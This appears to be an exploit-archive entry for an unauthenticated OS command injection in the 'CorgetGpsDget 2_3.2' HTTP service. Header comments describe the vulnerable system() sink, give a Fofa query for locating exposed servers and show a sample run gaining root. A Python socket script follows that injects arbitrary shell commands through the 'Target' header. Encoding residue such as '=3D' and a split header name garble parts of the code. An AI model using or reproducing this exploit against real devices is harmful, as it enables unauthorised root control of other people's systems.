发布 2026-08-10 漏洞条目

CorgetGpsDget 2_3.2 – OS Command Injection

Exploit Source

# Exploit Title: CorgetGpsDget 2_3.2 - OS Command Injection

# Date: 2026-07-05

# Exploit Author: Bytetobreach

# Fofa server: "PTTServer"

# Vendor Homepage: http://corget.com

# Version: GpsDget 2_3.2, build 2020-09-01 (dget.version); product line Gps2.0

# Tested on Ubuntu. Binary reversed on Ghidra Debian.

# Sink is in http/HttpHandler.cpp CHttpHandler::SendEmail

# CVE: pending (requested)

# Description:

# HTTP service (Server: PTTServer) unauthenticated handler reachable by SendEmail

# method request header. The "Target" header recipient

# header is unsafly concatenated into a system() call:

# system("echo '<body>'|mail -r 'service@corget.com' -s '<subject>' <Target>");

# A Target value such as `x;<cmd>;` injects unauthenticated arbitrary OS commands

# executed as root.

# Example: python3 corget.py TARGET:7777 'id > /data/rce'

# HTTP/1.0 200 Ok

# Server: PTTServer

# Content-Length: 0

# curl TARGET:13001/rce

# uid=0(root) gid=0(root) 组=0(root)

import socket, sys

host, port =3D sys.argv[1].split(':')

cmd =3D sys.argv[2] if len(sys.argv) > 2 else 'id > /data/pwn'

req =3D f"POST / HTTP/1.0\r\nMethod: SendEmail\r\nTarget: x;{cmd};\r\nConte=

nt-Length: 3\r\n\r\na&b"

s =3D socket.socket()

s.connect((host, int(port)))

s.send(req.encode())

print(s.recv(4096).decode(errors=3D'replace'))

相关漏洞条目